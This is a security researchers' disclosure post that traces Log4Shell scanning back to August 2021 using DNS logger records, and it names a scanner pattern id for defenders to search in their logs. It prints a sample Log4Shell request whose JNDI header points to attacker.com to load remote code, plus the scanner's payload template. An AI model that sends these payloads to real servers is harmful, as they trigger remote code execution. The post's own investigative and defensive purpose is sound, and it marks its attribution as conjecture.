The Log4Shell vulnerability may have been exploited since August 2021

When did the Log4Shell vulnerability start? This is an intriguing question that everyone wants to know. Alibaba Cloud Security Team disclosed the bug on Dec 9^th, 2021, but no one knows when and by whom it was discovered. Recently, during an activity of Threat intelligence services, we had the opportunity to co-work with a dns logger system. We tried to run some deep analysis and luckily we found some interesting points that we would like to share.

1. TLDR

In summary, there are 3 main points in this article:

- DNS Logger is a popular method which is used to verify a vulnerable target in Log4Shell. We had the chance to access the log source of a dns logger system and believed that we would find the attacker in it.

- According to our hypothesis, we believe that a Log4Shell attack started from Sep 04^th, 2021, or may be even sooner.

- This was a mass attack in which targets were all over the world. At least 10 targets have been found, including large organizations from different sectors such as the government, banks, entertainment, betting companies, etc.

We reported to those organizations.

This is an open article, so please let us know if you have different opinions or ideas.

2. Hypothesis

Back to the Log4Shell, a common payload likely was:

GET / HTTP/1.1

Host: vulnerable.com
<Vulnerable header>: ${jndi:ldap://attacker.com/path/to/malicious/Java_class}

After received this payload, the victim server if vulnerable will then connect to attacker server to load and run malicious code. There are 3 raw steps in this process:

- Step 1: Resolve domain attacker.com to server’s ip address.

- Step 2: Connect to server’s ldap service.

- Step 3: Load and run malicious code.

Based on this process, most of mass scan method of Log4Shell use the dns resolving specialty on step 1 to determine vulnerable hosts. The tools usually use a DNS Logger to listen the dns back connect. That means each payload is sent will include name of http header and target’s hostname. On DNS Logger side, any record showed will represent a vulnerable host with specific location.

According of that method, our idea is: in a DNS Log request, if you found any records which have format like <header name>.<target host>.<dnslogger>, that means the “target host” probably has Log4Shell bug in “header name”.

3. Investigation

With the request logs from the DNS Logger that we have, we found an attacker used similar payloads to scan multiple targets from September 2021 until now.

-       Please mind to the 1c47a43da7028a2ed315 parameter, this is the subdomain identified as the attacker who performed this scan.

-       Following this logic, we tentatively concluded that: the attacker performed a Log4Shell scanning via a payload with:

${jndi:ldap://<header>.<target>.1c47a43da7028a2ed315.<dnslogger>/randomthing}

-       Deep investigation to the 1c47a43da7028a2ed315 pattern, we found about 90 hosts from 10 organizations. Many hosts are from internal and unrecognizable from public. We have only confirmed a small number of vulnerable hosts at the time of discovery (Dec 20^th 2021). Fortunately by this time, through quick scan it looks like all of them have been fixed.

-       Another thing, after receiving private report, some organizations have been confirmed that they found the DNS request to the pattern (1c47a43da7028a2ed315) in their log system. That means the requests to the DNS Logger are from real servers at real organizations.

-       One strange thing is that until now (January 25^th 2022), the DNS Logger still receive request with the pattern in random time.

-       We are still investigating this matter. These requests may have come from a compromised internal or from some internal cache dns systems that automatically update records.

Who is the owner of these patterns?

We have tried to figure out the owner of the pattern id 1c47a43da7028a2ed315. However, due to some limitations of the DNS Logger, we only have log at the furthest point on  September 4^th 2021.

Fortunately, the DNS Logger have setup Google Analytics and we were able to track who had accessed to the dashboard of pattern id 1c47a43da7028a2ed315. As you can see from the image below, the location was from Spain and hackers began using the payload from August 4^th 2021. Of course, the location was just a guess and Google Analytics may have been tricked by the use of VPN or proxy. However, the time was definitely on August 4^th 2021.

4. Timeline

This is a disclosure report, so before publishing, we have reported to some organizations.

· 20 December 2021: Started co-working with the DNS Logger and found some interesting ideas to detect victim in history.

· 30 December 2021: Found sign that some organizations may be exploited by Log4Shell from 04 August 2021 and sent report for below organizations:

Recently, we found some more organizations and decided to use the passive report method. This means that if the following organizations need more information, please contact us through:

- A big American ISP (we have contacted after the publishing)

- A government organization (we are waiting contact from a third-party Bug bounty platform)

- tiktok.com

· 31 December 2021 – 05 January 2022: Received positive feedback from some organizations.

· From 10 January 2022: Setup a trap server on result of dns resolving for traffic monitoring but have not received anything interesting yet.

· 25 January 2022: Sent a draft for some organizations.

· 27 January 2022: Publish the report.

5. Discussion

As we said at the beginning, this is an open article. Some of the content in the report is conjecture and uncertain. However, because it is a serious problem, we still publish with below recommendations:

-  If you are reviewing log4j attacks in history, try to start from August 2021.

-  If you have a DNS outbound request log system, please search with pattern 1c47a43da7028a2ed315.

In addition, if you have any of the below information, please contact us to make the article more persuasive:

-  You knew any other technical attacks which have similar signature like <header name>.<target host>.<dnslogger> (not SSRF scanner because they don’t  usually scan the “user-agent” header).

-  You have a dns log system and you also got similar findings.